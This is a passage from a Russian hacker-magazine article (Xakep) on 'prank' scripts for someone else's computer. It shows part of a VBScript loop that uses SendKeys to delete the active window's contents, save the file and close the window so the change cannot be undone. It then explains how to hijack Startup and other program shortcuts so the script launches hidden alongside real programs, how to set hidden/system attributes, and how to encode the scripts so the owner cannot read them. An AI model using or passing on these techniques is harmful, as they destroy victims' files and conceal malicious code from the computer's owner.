ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-4

'Посылается клавиша ENTER

'т.е. сейчас было удалено содержание активного окна

'конечно, если это возможно

WshShell.SendKeys "^{s}"

'Посылается комбинация клавиш CTRL+S

'Если это текстовый редактор,

'то "результат" был сохранен

WshShell.SendKeys "{ENTER}"

'Посылается клавиша ENTER

WshShell.SendKeys "{LEFT}"

'Посылается клавиша "Стрелка влево"

WshShell.SendKeys "{ENTER}"

'Посылается клавиша ENTER

На случай, если документ создан впервые

WshShell.SendKeys "%{F4}"

'Посылается комбинация клавиш ALT+F4

'Окно закрывается, чтобы было нельзя сделать откат

Loop

'Заново повторяется вся процедура

Данный алгоритм не претендует на универсальность, но ты можешь переделать его под конкретную ситуацию. Так что делайте резервные копии, господа.

ЗАЩИТА ОТ УМНЫХ

Осталось решить главную задачу: сделать так, чтобы все это (ну не все - половина :)) запускалось при включении РС. Это можно осуществить стандартными способами - поместить ссылки в реестр или файлы win.ini и system.ini. Но едва владелец компа запустит волшебную программу msconfig.exe или подобную ей, как все твои старания пойдут прахом. Надо придумать что-то новенькое. Могу дать совет. Обрати внимание на папку Автозагрузка. Да-да, ту самую, что в меню "Программы". И не надо материться. Надо читать дальше. Присутствуют там какие-либо ярлыки? Обычно они там присутствуют, будучи помещенными туда по дефолту пакетом Microsoft Office. Если есть, то считай, что тебе повезло. Теперь лезь в свойства ярлыка и смотри что он запускает. Затем пиши ВАТ-файл такого содержания:

@Start полное_имя_запускаемой_программы >nul

@Start полное_имя_запускаемого скрипта >nul

Теперь сохраняй его под именем захваченной программы, но с расширением ВАТ, в том же каталоге, где она находится, а в свойствах ярлыка изменяй расширение с ЕХЕ на ВАТ. Не забудь изменить значок у ярлыка на оригинальный (Свойства - ярлык - сменить значок). Получается эдакий симбиоз - при запуске программы запустится и твой скрипт. Вряд ли у кого-то хватит ума проверять эти ярлыки. Остается только одна шняга: при запуске ВАТ-файлов на экране на миг возникнет черное окно консоли, на что могут обратить внимание. Обойти это можно, если указать в ярлыке не ВАТ-файл, а сам скрипт, добавив в него команду запуска программы, на которую он ссылался. Например

Set Wsh = WScript.CreateObject("WScript.Shell")

'Внимание! Дублирование этой строки в скрипте нежелательно!

Wsh.run "Полное_имя_запускаемой_программы"

Если же в Автозагрузке ничего нет, то не расстраивайся, а понаблюдай, какую программу на этом компьютере запускают первой и какую - чаще всего, а затем проделай с ее ярлыком все указанное выше. Это может быть тот же Word или же браузер. И не забывай, что ярлыки бывают не только в Главном меню, а еще и, например, в Панели быстрого запуска или на Рабочем столе. Не лишним будет присвоить скриптам атрибуты "Системный" и "Скрытый". Особенно если в свойствах папки стоит запрет на отображение файлов с такими атрибутами.

ШИФРОВАНИЕ СКРИПТОВ

На случай, если владелец компа добрался до твоих скриптов, ты можешь избавить его от удовольствия читать их исходники. Устроить это можно с помощью программы Script Encoder, созданной в недрах корпорации Microsoft. Добыть ее можно на сайте создателя или поискав на софтверных хранилищах под именем sce10en.exe. Программа абсолютно бесплатна и невелика по размеру - всего 128 kb в установочном файле. Шифрование применимо к сценариям как на VBScript, так и на JScript.